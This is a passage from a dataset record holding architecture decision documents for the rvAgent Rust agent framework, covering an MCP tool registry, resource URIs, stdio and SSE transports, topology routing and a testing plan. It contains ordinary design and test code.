-> &str { \"adaptive\" }\n\n async fn route(&self, message: TopologyMessage) -> Result<(), TopologyError> {\n // Check if we should switch before routing\n if let Some(target) = self.evaluate_switch().await {\n self.switch_to(target).await?;\n }\n\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.route(message).await,\n ActiveTopology::Mesh => self.mesh.route(message).await,\n }\n }\n\n // ... delegate other methods similarly\n # // remaining trait methods delegate to active topology\n async fn join(&self, node_id: NodeId, metadata: NodeMetadata) -> Result<(), TopologyError> {\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.join(node_id, metadata).await,\n ActiveTopology::Mesh => self.mesh.join(node_id, metadata).await,\n }\n }\n\n async fn leave(&self, node_id: &str) -> Result<(), TopologyError> {\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.leave(node_id).await,\n ActiveTopology::Mesh => self.mesh.leave(node_id).await,\n }\n }\n\n async fn discover(&self) -> Result<Vec<NodeHealth>, TopologyError> {\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.discover().await,\n ActiveTopology::Mesh => self.mesh.discover().await,\n }\n }\n\n async fn recv(&self, node_id: &str) -> Result<TopologyMessage, TopologyError> {\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.recv(node_id).await,\n ActiveTopology::Mesh => self.mesh.recv(node_id).await,\n }\n }\n\n async fn health(&self, node_id: &str) -> Result<NodeHealth, TopologyError> {\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.health(node_id).await,\n ActiveTopology::Mesh => self.mesh.health(node_id).await,\n }\n }\n\n async fn leader(&self) -> Option<NodeId> {\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => self.hierarchical.leader().await,\n ActiveTopology::Mesh => None, // Mesh has no leader\n }\n }\n}\n```\n\n#### 3.5 Deployment Descriptors\n\n```yaml\n# deploy/hierarchical-3node.yaml\ntopology: hierarchical\nnodes:\n - id: queen-01\n role: queen\n capabilities: [orchestrate, assign, monitor]\n resources:\n cpu: 4\n memory_gb: 8\n mcp:\n transport: sse\n port: 9100\n\n - id: worker-01\n role: worker\n capabilities: [code, test, review]\n resources:\n cpu: 8\n memory_gb: 16\n mcp:\n transport: websocket\n port: 9101\n\n - id: worker-02\n role: worker\n capabilities: [code, deploy, security]\n resources:\n cpu: 8\n memory_gb: 16\n mcp:\n transport: websocket\n port: 9102\n\nconsensus:\n type: raft\n heartbeat_interval_ms: 150\n election_timeout_ms: 1500\n\nhealth:\n check_interval_ms: 5000\n unhealthy_threshold: 3\n```\n\n---\n\n### 4. Testing Strategy\n\n#### 4.1 MCP Integration Tests\n\n```rust\n#[cfg(test)]\nmod mcp_integration_tests {\n /// Test tool registration, discovery, and invocation via stdio transport.\n #[tokio::test]\n async fn test_tool_lifecycle_stdio() { /* ... */ }\n\n /// Test resource listing, reading, and subscription notifications.\n #[tokio::test]\n async fn test_resource_crud_and_subscribe() { /* ... */ }\n\n /// Test capabilities negotiation: client requests tools+resources,\n /// server responds with supported capabilities.\n #[tokio::test]\n async fn test_capabilities_negotiation() { /* ... */ }\n\n /// Test AnyTool adapter bridges all rvagent-tools correctly.\n #[tokio::test]\n async fn test_anytool_adapter_full_toolset() { /* ... */ }\n\n /// Test JSON Schema validation rejects malformed tool arguments.\n #[tokio::test]\n async fn test_schema_validation_rejects_invalid() { /* ... */ }\n\n /// Test concurrent tool calls do not deadlock the registry.\n #[tokio::test]\n async fn test_concurrent_tool_calls() { /* ... */ }\n}\n```\n\n#### 4.2 Topology Integration Tests\n\n```rust\n#[cfg(test)]\nmod topology_integration_tests {\n /// Hierarchical: queen assigns tasks, workers report results.\n #[tokio::test]\n async fn test_hierarchical_task_assignment() { /* ... */ }\n\n /// Hierarchical: queen crashes, new queen elected via Raft.\n #[tokio::test]\n async fn test_hierarchical_leader_election_on_failure() { /* ... */ }\n\n /// Mesh: all nodes discover each other via gossip.\n #[tokio::test]\n async fn test_mesh_gossip_convergence() { /* ... */ }\n\n /// Mesh: messages routed to correct node by role.\n #[tokio::test]\n async fn test_mesh_role_based_routing() { /* ... */ }\n\n /// Adaptive: topology switches from hierarchical to mesh when\n /// node count exceeds threshold.\n #[tokio::test]\n async fn test_adaptive_switch_on_scale() { /* ... */ }\n\n /// Adaptive: topology switches from mesh to hierarchical on\n /// high failure rate.\n #[tokio::test]\n async fn test_adaptive_switch_on_failure_rate() { /* ... */ }\n\n /// Adaptive: switch cooldown prevents rapid oscillation.\n #[tokio::test]\n async fn test_adaptive_cooldown_prevents_flapping() { /* ... */ }\n}\n```\n\n#### 4.3 Property-Based Tests\n\n```rust\n#[cfg(test)]\nmod property_tests {\n use proptest::prelude::*;\n\n proptest! {\n /// Any message sent to a healthy node must eventually be received.\n #[test]\n fn message_delivery_to_healthy_node(\n topology_type in prop_oneof![\"hierarchical\", \"mesh\", \"adaptive\"],\n node_count in 2..20usize,\n message_count in 1..100usize,\n ) {\n // Setup topology with node_count nodes\n // Send message_count messages to random healthy nodes\n // Assert all messages are received\n }\n\n /// Node discovery must return all healthy nodes.\n #[test]\n fn discovery_completeness(\n node_count in 2..50usize,\n failed_count in 0..5usize,\n ) {\n // Setup topology, mark `failed_count` as unreachable\n // Assert discover() returns exactly (node_count - failed_count) healthy nodes\n }\n\n /// Raft leader election must converge to exactly one leader.\n #[test]\n fn raft_single_leader(\n node_count in 3..10usize,\n partition_at in 0..5usize,\n ) {\n // Setup hierarchical topology\n // Simulate network partition at step `partition_at`\n // Assert at most one leader exists in each partition\n }\n }\n}\n```\n\n#### 4.4 Stress and Chaos Tests\n\n```rust\n#[cfg(test)]\nmod chaos_tests {\n /// Stress: 1000 concurrent tool calls across all three topologies.\n #[tokio::test]\n async fn stress_concurrent_tool_execution() {\n for topology in [hierarchical(), mesh(), adaptive()] {\n let handles: Vec<_> = (0..1000).map(|i| {\n let topo = topology.clone();\n tokio::spawn(async move {\n topo.route(make_tool_call(i)).await\n })\n }).collect();\n\n let results = futures::future::join_all(handles).await;\n let failures: Vec<_> = results.iter()\n .filter(|r| r.as_ref().map(|r| r.is_err()).unwrap_or(true))\n .collect();\n assert!(\n failures.len() as f64 / 1000.0 < 0.01,\n \"Failure rate exceeded 1%\"\n );\n }\n }\n\n /// Chaos: randomly kill nodes during active task execution.\n #[tokio::test]\n async fn chaos_random_node_failures() {\n let topology = adaptive();\n let nodes = spawn_nodes(&topology, 10).await;\n\n // Start continuous message flow\n let message_task = tokio::spawn(continuous_messages(topology.clone()));\n\n // Randomly kill nodes at intervals\n let chaos_task = tokio::spawn(async move {\n let mut rng = rand::thread_rng();\n for _ in 0..5 {\n let victim = &nodes[rng.gen_range(1..nodes.len())]; // Never kill node 0\n topology.leave(&victim.id).await.ok();\n tokio::time::sleep(Duration::from_millis(200)).await;\n topology.join(victim.id.clone(), victim.metadata.clone()).await.ok();\n }\n });\n\n let (msg_result, _) = tokio::join!(message_task, chaos_task);\n let stats = msg_result.unwrap();\n assert!(stats.delivery_rate > 0.95, \"Delivery rate below 95%\");\n }\n\n /// Chaos: simulate network partitions during adaptive switch.\n #[tokio::test]\n async fn chaos_partition_during_topology_switch() { /* ... */ }\n}\n```\n\n#### 4.5 Skills System Tests\n\n```rust\n#[cfg(test)]\nmod skills_tests {\n /// Parse YAML frontmatter and validate all fields.\n #[test]\n fn test_skill_yaml_parsing() { /* ... */ }\n\n /// Resolve a skill with version constraints.\n #[tokio::test]\n async fn test_skill_version_resolution() { /* ... */ }\n\n /// Detect and reject circular skill dependencies.\n #[tokio::test]\n async fn test_circular_dependency_detection() { /* ... */ }\n\n /// Execute a composed skill that invokes two sub-skills.\n #[tokio::test]\n async fn test_skill_composition_execution() { /* ... */ }\n\n /// Load skills from both filesystem and MCP resource provider.\n #[tokio::test]\n async fn test_mixed_source_skill_loading() { /* ... */ }\n\n /// Verify Codex-compatible skills can be exported to Codex format.\n #[tokio::test]\n async fn test_codex_export_roundtrip() { /* ... */ }\n\n /// Verify Claude Code compatible skills can be exported to slash-command format.\n #[tokio::test]\n async fn test_claude_code_export_roundtrip() { /* ... */ }\n\n /// Max depth guard prevents runaway recursion.\n #[tokio::test]\n async fn test_max_depth_guard() { /* ... */ }\n}\n```\n\n---\n\n## Consequences\n\n### Positive\n\n1. **MCP compliance.** The `rvagent-mcp` crate enables any rvAgent instance to act as both an MCP server and client, making the framework interoperable with the broader MCP ecosystem (VS Code, Claude Desktop, third-party tools).\n\n2. **Zero-rewrite tool integration.** The `AnyToolAdapter` bridges all existing `rvagent-tools` implementations into MCP without modifying them. New tools only need to implement one trait.\n\n3. **Cross-platform skills.** A single skill definition works with OpenAI Codex, Claude Code, and native rvAgent. This eliminates vendor lock-in for skill authoring.\n\n4. **Topology flexibility.** Teams can start with a simple hierarchical deployment and seamlessly transition to mesh or adaptive topologies as their agent clusters grow, without code changes.\n\n5. **Resilience.** Raft consensus for hierarchical and gossip protocol for mesh provide well-understood fault tolerance guarantees. Adaptive topology adds automatic response to changing conditions.\n\n6. **Comprehensive test coverage.** Property-based and chaos tests catch edge cases that unit tests miss, particularly around distributed system invariants.\n\n### Negative\n\n1. **New crate overhead.** Adding `rvagent-mcp` increases the workspace size. Mitigated by keeping it optional (feature-gated in dependent crates).\n\n2. **Complexity increase.** Three topology implementations with different consensus mechanisms increase the surface area for bugs. Mitigated by the shared `Topology` trait and extensive testing.\n\n3. **Raft implementation risk.** Implementing Raft correctly is non-trivial. Consider using an existing crate (`openraft` or `async-raft`) rather than a from-scratch implementation. Decision on this is deferred to implementation phase.\n\n4. **Skill format maintenance burden.** Supporting two external formats (Codex and Claude Code) means tracking upstream format changes. Mitigated by the compatibility flags being optional -- skills can opt out of cross-format support.\n\n### Migration Path\n\n| Phase | Scope | Estimated Effort |\n|-------|-------|-----------------|\n| **Phase 1** | `rvagent-mcp` crate: protocol, registry, stdio transport | 2 weeks |\n| **Phase 2** | SSE + WebSocket transports, AnyTool adapter, resource system | 1.5 weeks |\n| **Phase 3** | Enhanced skills: YAML parser, composition, loader | 1.5 weeks |\n| **Phase 4** | Topology module: hierarchical with Raft | 2 weeks |\n| **Phase 5** | Topology module: mesh with gossip, adaptive wrapper | 2 weeks |\n| **Phase 6** | Integration tests, property tests, chaos tests | 1.5 weeks |\n| **Phase 7** | Documentation, deployment descriptors, examples | 1 week |\n\n### Test Coverage Targets\n\n| Component | Target | Rationale |\n|-----------|--------|-----------|\n| `rvagent-mcp` protocol layer | 95% | Serialization correctness is critical |\n| `rvagent-mcp` registry | 90% | Core MCP functionality |\n| `rvagent-mcp` transports | 85% | I/O-heavy, harder to unit test |\n| Skills parser + loader | 95% | Must handle all YAML edge cases |\n| Skills executor | 90% | Composition logic is complex |\n| Topology trait + hierarchical | 90% | Raft correctness is critical |\n| Topology mesh | 85% | Gossip is eventually consistent |\n| Topology adaptive | 90% | Switching logic must be correct |\n\n### Crate Dependency Graph (Updated)\n\n```\nrvagent-mcp (new)\n \u251c\u2500\u2500 rvagent-tools (AnyTool adapter)\n \u251c\u2500\u2500 rvagent-core (topology module)\n \u251c\u2500\u2500 serde / serde_json\n \u251c\u2500\u2500 tokio\n \u251c\u2500\u2500 async-trait\n \u2514\u2500\u2500 jsonschema (schema validation)\n\nrvagent-skills (enhanced)\n \u251c\u2500\u2500 rvagent-mcp (resource-based skill loading)\n \u251c\u2500\u2500 rvagent-core\n \u251c\u2500\u2500 serde_yaml\n \u2514\u2500\u2500 semver (version resolution)\n\nrvagent-core (enhanced)\n \u2514\u2500\u2500 topology/ (new module)\n \u251c\u2500\u2500 mod.rs\n \u251c\u2500\u2500 hierarchical.rs\n \u251c\u2500\u2500 mesh.rs\n \u2514\u2500\u2500 adaptive.rs\n```\n\n---\n\n## References\n\n- [Model Context Protocol Specification](https://spec.modelcontextprotocol.io/)\n- [JSON-RPC 2.0 Specification](https://www.jsonrpc.org/specification)\n- [Raft Consensus Algorithm](https://raft.github.io/)\n- [SWIM Gossip Protocol](https://www.cs.cornell.edu/projects/Quicksilver/public_pdfs/SWIM.pdf)\n- ADR-093: DeepAgents Rust Conversion Overview\n- ADR-095: Middleware Pipeline\n- ADR-096: Tool System\n- ADR-097: SubAgent Orchestration\n- ADR-098: Memory, Skills, Summarization\n- ADR-100: RVF Integration & Crate Structure\n- ADR-101: Testing Strategy\n- ADR-066: SSE MCP Transport", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-104-rvagent-mcp-skills-topology.md", "created_at": "2026-03-28T11:58:49.943429+00:00", "content_hash": "1f2be3afd4c8b7588cf3c32b882949783900352b117277d7779ac79490ac5c7a"} +{"id": "93ee4e6c-f6d8-4333-aef7-5617e834c51c", "source": "adr", "text": "# ADR-104: rvAgent MCP Tools and Resources System\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Depends** | ADR-095, ADR-096, ADR-097, ADR-098, ADR-099, ADR-100, ADR-101, ADR-102, ADR-103 |\n| **Crates** | `rvagent-mcp` (new), `rvagent-core`, `rvagent-tools`, `rvagent-skills` |\n\n---\n\n## Context\n\n### Current State of rvAgent\n\nThe rvAgent framework comprises 8 crates that collectively provide a full-featured agentic system:\n\n| Crate | ADR | Responsibility |\n|-------|-----|----------------|\n| `ruvector-deep-core` | ADR-100 | Agent factory, state machine, config |\n| `ruvector-deep-backends` | ADR-094 | Backend protocol traits, sandbox, filesystem |\n| `ruvector-deep-middleware` | ADR-095 | Middleware pipeline (10-layer stack) |\n| `ruvector-deep-tools` | ADR-096 | Tool system (filesystem, execute, grep, glob) |\n| `ruvector-deep-subagents` | ADR-097 | SubAgent orchestration, task tool |\n| `ruvector-deep-middleware` | ADR-098 | Memory, skills, summarization middleware |\n| `ruvector-deep-cli` | ADR-099 | CLI and ACP server |\n| `ruvector-deep-rvf` | ADR-100 | RVF integration, cognitive containers |\n\nThe middleware pipeline (ADR-095) processes requests through a 10-layer stack. The tool system (ADR-096) provides 9 built-in tools (`ls`, `read_file`, `write_file`, `edit_file`, `glob`, `grep`, `execute`, `write_todos`, `task`). SubAgent orchestration (ADR-097) supports ephemeral subagent spawning with state isolation.\n\n### Gaps Identified\n\n1. **No MCP (Model Context Protocol) exposure.** The tool system (ADR-096) exposes tools internally through the `Tool` trait and `ToolSet` abstraction, but there is no way for external MCP clients -- Claude Code, OpenAI Codex CLI, VS Code extensions, or Claude Desktop -- to discover, invoke, or observe these tools via the MCP standard. The SSE transport work in ADR-066 covers the brain server but not the agent framework itself.\n\n2. **No resource observability.** Agent state (messages, todos, files, memory contents, skills metadata) is locked inside the `AgentState` struct (ADR-103 amendment A1). External clients cannot read agent state, query the skills catalog, or observe the topology graph without direct code access.\n\n3. **No topology-aware routing for tool calls.** SubAgent orchestration (ADR-097) operates in a single-process model. When agents are deployed across nodes in hierarchical, mesh, or adaptive topologies, tool calls must be routed to the correct node based on capabilities, load, and topology rules. This routing layer does not exist.\n\n4. **Skills system is not portable.** The skills middleware (ADR-098) loads `SKILL.md` files with YAML frontmatter, but the format is rvAgent-specific. There is no bridge to OpenAI Codex CLI task definitions or Anthropic Claude Code slash command manifests. Teams adopting rvAgent must maintain separate skill definitions for each platform.\n\n5. **Testing gaps for MCP and distributed scenarios.** ADR-101 defines unit and integration test strategies but does not cover MCP protocol compliance, transport-level fuzz testing, topology-specific failure modes, or cross-platform skill format round-trips.\n\n### Driving Requirements\n\n- Claude Code users expect to add rvAgent via `claude mcp add` and immediately access all tools\n- Codex CLI users expect skills to appear as task definitions with `codex --skill` flags\n- Multi-node deployments require tool calls to reach the correct agent regardless of topology\n- Operations teams need real-time observability into agent state without instrumenting application code\n\n---\n\n## Decision\n\nCreate a new `rvagent-mcp` crate that provides four subsystems: a tool registry, a resource system, a transport layer, and a topology-aware router. Enhance the existing skills system with a cross-platform bridge.\n\n### 1. MCP Tool Registry\n\nThe `McpToolRegistry` wraps every `AnyTool` from `rvagent-tools` (ADR-096) into MCP-compatible tool definitions with JSON Schema parameter validation.\n\n#### 1.1 Crate Structure\n\n```\ncrates/rvagent-mcp/\n Cargo.toml\n src/\n lib.rs # Public API surface, re-exports\n registry.rs # McpToolRegistry: register, discover, invoke\n resources.rs # McpResourceProvider: state, skills, topology\n transport/\n mod.rs # McpTransport trait definition\n stdio.rs # StdioTransport (JSON-RPC over stdin/stdout)\n sse.rs # SseTransport (HTTP + Server-Sent Events)\n router.rs # TopologyRouter: Hierarchical, Mesh, Adaptive\n adapter.rs # AnyToolAdapter: bridges rvagent-tools -> MCP\n schema.rs # JSON Schema generation from Tool trait\n protocol.rs # JSON-RPC 2.0 message types\n capabilities.rs # Server/client capability negotiation\n skills_bridge.rs # SkillBridge: rvAgent <-> Codex/Claude Code\n error.rs # McpError type hierarchy\n tests/\n registry_tests.rs\n resource_tests.rs\n transport_tests.rs\n adapter_tests.rs\n router_tests.rs\n skills_bridge_tests.rs\n protocol_compliance.rs\n```\n\n#### 1.2 Registry Design\n\n```rust\n// crates/rvagent-mcp/src/registry.rs\n\nuse std::collections::HashMap;\nuse std::sync::Arc;\nuse tokio::sync::RwLock;\n\n/// Central registry for MCP tools. Wraps rvagent-tools into MCP-compatible\n/// definitions with JSON Schema parameters and tool annotations.\npub struct McpToolRegistry {\n tools: Arc<RwLock<HashMap<String, RegisteredMcpTool>>>,\n schema_validator: Arc<SchemaValidator>,\n change_subscribers: Arc<RwLock<Vec<tokio::sync::broadcast::Sender<ToolListChanged>>>>,\n}\n\n/// A tool registered in the MCP registry.\npub struct RegisteredMcpTool {\n pub name: String,\n pub description: String,\n pub input_schema: serde_json::Value, // JSON Schema draft 2020-12\n pub handler: Arc<dyn McpToolHandler>,\n pub annotations: ToolAnnotations,\n}\n\n/// Tool behavior annotations per MCP specification.\n#[derive(Debug, Clone, Default)]\npub struct ToolAnnotations {\n /// Tool performs destructive/non-idempotent operations.\n pub destructive: bool,\n /// Tool reads state outside its own scope.\n pub reads_external: bool,\n /// Tool writes state outside its own scope.\n pub writes_external: bool,\n /// Expected latency category for client-side UX hints.\n pub latency_hint: LatencyHint,\n}\n\n#[derive(Debug, Clone, Copy, Default)]\npub enum LatencyHint {\n #[default]\n Fast, // <100ms (ls, glob, read_file)\n Medium, // 100ms-1s (grep, edit_file)\n Slow, // >1s (execute, task)\n}\n\n#[async_trait::async_trait]\npub trait McpToolHandler: Send + Sync {\n async fn call(\n &self,\n arguments: serde_json::Value,\n ) -> Result<ToolCallResult, McpError>;\n}\n\npub struct ToolCallResult {\n pub content: Vec<ContentBlock>,\n pub is_error: bool,\n}\n\npub enum ContentBlock {\n Text { text: String },\n Image { data: String, mime_type: String },\n Resource { uri: String, mime_type: Option<String>, text: Option<String> },\n}\n\nimpl McpToolRegistry {\n pub fn new() -> Self { /* ... */ }\n\n /// Register a single tool with schema validation.\n pub async fn register(&self, tool: RegisteredMcpTool) -> Result<(), McpError> {\n // Validate input_schema is valid JSON Schema\n // Insert into tools map\n // Notify change subscribers\n }\n\n /// Unregister a tool by name.\n pub async fn unregister(&self, name: &str) -> Result<(), McpError> { /* ... */ }\n\n /// List all registered tools (for tools/list MCP method).\n pub async fn list_tools(&self) -> Vec<ToolDescription> { /* ... */ }\n\n /// Invoke a tool by name with arguments (for tools/call MCP method).\n pub async fn call_tool(\n &self,\n name: &str,\n arguments: serde_json::Value,\n ) -> Result<ToolCallResult, McpError> {\n // Validate arguments against input_schema\n // Dispatch to handler\n // Return result or error\n }\n\n /// Subscribe to tool list changes (for notifications/tools/list_changed).\n pub fn subscribe_changes(&self) -> tokio::sync::broadcast::Receiver<ToolListChanged> {\n /* ... */\n }\n}\n```\n\n#### 1.3 Built-in Tool Mapping\n\nAll 9 built-in tools from ADR-096 plus dynamically registered tools are exposed:\n\n| rvAgent Tool | MCP Tool Name | Annotations | JSON Schema Parameters |\n|-------------|---------------|-------------|----------------------|\n| `ls` | `rvagent_ls` | reads_external | `{ path: string }` |\n| `read_file` | `rvagent_read_file` | reads_external | `{ file_path: string, offset?: int, limit?: int }` |\n| `write_file` | `rvagent_write_file` | destructive, writes_external | `{ file_path: string, content: string }` |\n| `edit_file` | `rvagent_edit_file` | destructive, writes_external | `{ file_path: string, old_string: string, new_string: string, replace_all?: bool }` |\n| `glob` | `rvagent_glob` | reads_external | `{ pattern: string, path?: string }` |\n| `grep` | `rvagent_grep` | reads_external | `{ pattern: string, path?: string, include?: string }` |\n| `execute` | `rvagent_execute` | destructive, reads_external, writes_external, Slow | `{ command: string, timeout?: int }` |\n| `write_todos` | `rvagent_write_todos` | writes_external | `{ todos: TodoItem[] }` |\n| `task` | `rvagent_task` | writes_external, Slow | `{ description: string, subagent_type?: string }` |\n\n---\n\n### 2. MCP Resource System\n\nThe `McpResourceProvider` exposes agent state, the skills catalog, and topology status as MCP resources with URI templates. This enables external clients to observe agent internals without direct code access.\n\n#### 2.1 Resource URI Scheme\n\n```\nrvagent://state/{agent_id} Agent state snapshot\nrvagent://state/{agent_id}/messages Conversation history\nrvagent://state/{agent_id}/todos Active todo list\nrvagent://state/{agent_id}/files Tracked files manifest\nrvagent://state/{agent_id}/memory Memory contents\n\nrvagent://skills Skills catalog (all skills)\nrvagent://skills/{skill_name} Single skill definition\nrvagent://skills/{skill_name}/versions Version history\n\nrvagent://topology Current topology graph\nrvagent://topology/nodes All nodes with health\nrvagent://topology/nodes/{node_id} Single node detail\nrvagent://topology/nodes/{node_id}/tools Tools available on a node\nrvagent://topology/leader Current leader (hierarchical only)\nrvagent://topology/metrics Topology-level metrics\n\nrvagent://config Agent configuration\nrvagent://config/middleware Middleware stack\n```\n\n#### 2.2 Resource Provider Implementation\n\n```rust\n// crates/rvagent-mcp/src/resources.rs\n\nuse std::collections::HashMap;\nuse std::sync::Arc;\nuse tokio::sync::{RwLock, broadcast};\n\n/// Static resource descriptor.\npub struct McpResource {\n pub uri: String,\n pub name: String,\n pub description: Option<String>,\n pub mime_type: Option<String>,\n}\n\n/// URI template for dynamic resources.\npub struct ResourceTemplate {\n pub uri_template: String,\n pub name: String,\n pub description: Option<String>,\n pub mime_type: Option<String>,\n}\n\n/// Content returned when reading a resource.\npub enum ResourceContent {\n Text { uri: String, mime_type: Option<String>, text: String },\n Blob { uri: String, mime_type: Option<String>, blob: Vec<u8> },\n}\n\n/// Notification emitted when a resource changes.\n#[derive(Debug, Clone)]\npub struct ResourceChanged {\n pub uri: String,\n}\n\n/// Trait for dynamic resource providers.\n#[async_trait::async_trait]\npub trait ResourceProvider: Send + Sync {\n /// List all resources this provider can serve.\n async fn list(&self) -> Result<Vec<McpResource>, McpError>;\n\n /// List URI templates for parameterized resources.\n async fn list_templates(&self) -> Result<Vec<ResourceTemplate>, McpError>;\n\n /// Read a resource by URI.\n async fn read(&self, uri: &str) -> Result<Vec<ResourceContent>, McpError>;\n\n /// Subscribe to changes for a specific URI.\n async fn subscribe(\n &self,\n uri: &str,\n ) -> Result<broadcast::Receiver<ResourceChanged>, McpError>;\n\n /// Unsubscribe from changes.\n async fn unsubscribe(&self, uri: &str) -> Result<(), McpError>;\n}\n\n/// Central resource manager that aggregates multiple providers.\npub struct ResourceManager {\n providers: Vec<Arc<dyn ResourceProvider>>,\n subscriptions: Arc<RwLock<HashMap<String, Vec<broadcast::Sender<ResourceChanged>>>>>,\n}\n\nimpl ResourceManager {\n pub fn new() -> Self { /* ... */ }\n\n /// Register a resource provider.\n pub fn add_provider(&mut self, provider: Arc<dyn ResourceProvider>) { /* ... */ }\n\n /// List all resources across all providers (for resources/list).\n pub async fn list_resources(&self) -> Result<Vec<McpResource>, McpError> { /* ... */ }\n\n /// List all templates across all providers (for resources/templates/list).\n pub async fn list_templates(&self) -> Result<Vec<ResourceTemplate>, McpError> { /* ... */ }\n\n /// Read a resource by URI, routing to the correct provider (for resources/read).\n pub async fn read_resource(\n &self,\n uri: &str,\n ) -> Result<Vec<ResourceContent>, McpError> { /* ... */ }\n\n /// Subscribe to a resource URI (for resources/subscribe).\n pub async fn subscribe(\n &self,\n uri: &str,\n ) -> Result<broadcast::Receiver<ResourceChanged>, McpError> { /* ... */ }\n}\n```\n\n#### 2.3 Built-in Resource Providers\n\nThree providers ship with `rvagent-mcp`:\n\n```rust\n/// Serves AgentState fields as resources.\n/// Reads from the typed AgentState (ADR-103 amendment A1).\npub struct AgentStateProvider {\n state: Arc<RwLock<AgentState>>,\n agent_id: String,\n}\n\n/// Serves the skills catalog and individual skill definitions.\n/// Reads from SkillLoader (ADR-098).\npub struct SkillsCatalogProvider {\n loader: Arc<SkillLoader>,\n}\n\n/// Serves topology graph, node health, and metrics.\n/// Reads from the active Topology implementation.\npub struct TopologyProvider {\n topology: Arc<dyn Topology>,\n}\n```\n\n---\n\n### 3. Transport Layer\n\nTwo transport implementations cover the primary deployment scenarios. Both implement the `McpTransport` trait.\n\n#### 3.1 Transport Trait\n\n```rust\n// crates/rvagent-mcp/src/transport/mod.rs\n\nuse crate::protocol::{JsonRpcMessage, JsonRpcRequest, JsonRpcResponse};\n\n/// Bidirectional transport for MCP JSON-RPC messages.\n#[async_trait::async_trait]\npub trait McpTransport: Send + Sync {\n /// Start the transport (bind ports, open streams).\n async fn start(&mut self) -> Result<(), McpError>;\n\n /// Receive the next incoming message (request or notification).\n async fn recv(&mut self) -> Result<JsonRpcMessage, McpError>;\n\n /// Send an outgoing message (response or notification).\n async fn send(&self, message: JsonRpcMessage) -> Result<(), McpError>;\n\n /// Gracefully shut down.\n async fn shutdown(&self) -> Result<(), McpError>;\n}\n```\n\n#### 3.2 Stdio Transport (for Claude Code)\n\n```\n+------------------+ stdin (JSON-RPC) +------------------+\n| | ----------------------------------> | |\n| Claude Code | | rvagent-mcp |\n| (MCP client) | <---------------------------------- | StdioTransport |\n| | stdout (JSON-RPC) | |\n+------------------+ +------------------+\n```\n\n```rust\n// crates/rvagent-mcp/src/transport/stdio.rs\n\nuse tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};\n\n/// Reads JSON-RPC messages from stdin, writes responses to stdout.\n/// Designed for Claude Code's `claude mcp add` integration.\npub struct StdioTransport {\n reader: BufReader<tokio::io::Stdin>,\n writer: tokio::io::Stdout,\n}\n\nimpl StdioTransport {\n pub fn new() -> Self {\n Self {\n reader: BufReader::new(tokio::io::stdin()),\n writer: tokio::io::stdout(),\n }\n }\n}\n\n#[async_trait::async_trait]\nimpl McpTransport for StdioTransport {\n async fn start(&mut self) -> Result<(), McpError> {\n // No-op for stdio; streams are immediately available.\n Ok(())\n }\n\n async fn recv(&mut self) -> Result<JsonRpcMessage, McpError> {\n let mut line = String::new();\n self.reader.read_line(&mut line).await\n .map_err(|e| McpError::Transport(format!(\"stdin read: {}\", e)))?;\n serde_json::from_str(&line)\n .map_err(|e| McpError::Protocol(format!(\"JSON parse: {}\", e)))\n }\n\n async fn send(&self, message: JsonRpcMessage) -> Result<(), McpError> {\n let mut out = serde_json::to_string(&message)\n .map_err(|e| McpError::Protocol(format!(\"JSON serialize: {}\", e)))?;\n out.push('\\n');\n let mut writer = tokio::io::stdout();\n writer.write_all(out.as_bytes()).await\n .map_err(|e| McpError::Transport(format!(\"stdout write: {}\", e)))?;\n writer.flush().await\n .map_err(|e| McpError::Transport(format!(\"stdout flush: {}\", e)))?;\n Ok(())\n }\n\n async fn shutdown(&self) -> Result<(), McpError> { Ok(()) }\n}\n```\n\n#### 3.3 SSE Transport (for Remote Clients)\n\nBuilds on the SSE transport pattern from ADR-066 but adapted for the agent framework rather than the brain server:\n\n```\n+------------------+ HTTP POST (JSON-RPC request) +------------------+\n| | -------------------------------------> | |\n| Remote Client | | rvagent-mcp |\n| (browser, CLI) | <------------------------------------- | SseTransport |\n| | SSE stream (JSON-RPC responses) | |\n+------------------+ +------------------+\n```\n\n```rust\n// crates/rvagent-mcp/src/transport/sse.rs\n\nuse axum::{Router, routing::{get, post}};\nuse tokio::sync::broadcast;\n\n/// HTTP server with SSE for server-to-client push and POST for\n/// client-to-server requests. Supports multiple concurrent clients.\npub struct SseTransport {\n bind_addr: std::net::SocketAddr,\n incoming: tokio::sync::mpsc::Receiver<JsonRpcMessage>,\n outgoing: broadcast::Sender<JsonRpcMessage>,\n}\n\nimpl SseTransport {\n pub fn new(bind_addr: std::net::SocketAddr) -> Self { /* ... */ }\n\n /// Build the axum router with /sse (GET) and /message (POST) endpoints.\n fn build_router(&self) -> Router {\n Router::new()\n .route(\"/sse\", get(Self::handle_sse))\n .route(\"/message\", post(Self::handle_message))\n }\n\n /// SSE endpoint: streams JSON-RPC notifications and responses.\n async fn handle_sse(/* ... */) -> impl axum::response::IntoResponse { /* ... */ }\n\n /// POST endpoint: receives JSON-RPC requests from clients.\n async fn handle_message(/* ... */) -> impl axum::response::IntoResponse { /* ... */ }\n}\n```\n\n---\n\n### 4. Topology-Aware Routing\n\nThe `TopologyRouter` intercepts tool calls and routes them to the appropriate node based on the active topology (hierarchical, mesh, or adaptive). This bridges the MCP tool registry with the topology system.\n\n#### 4.1 Architecture Diagram\n\n```\n +-------------------+\n | MCP Client |\n | (Claude Code / |\n | Codex / VS Code) |\n +--------+----------+\n |\n JSON-RPC | (stdio or SSE)\n v\n +--------+----------+\n | McpTransport |\n +--------+----------+\n |\n v\n +--------+----------+\n | McpToolRegistry |\n | (tools/call) |\n +--------+----------+\n |\n +--------------+--------------+\n | |\n local tool? remote tool?\n | |\n v v\n +-------+--------+ +---------+---------+\n | Direct Handler | | TopologyRouter |\n | (AnyToolAdapter)| | |\n +----------------+ +--+------+------+--+\n | | |\n +-----------+ +---+ +---+-----------+\n | | |\n v 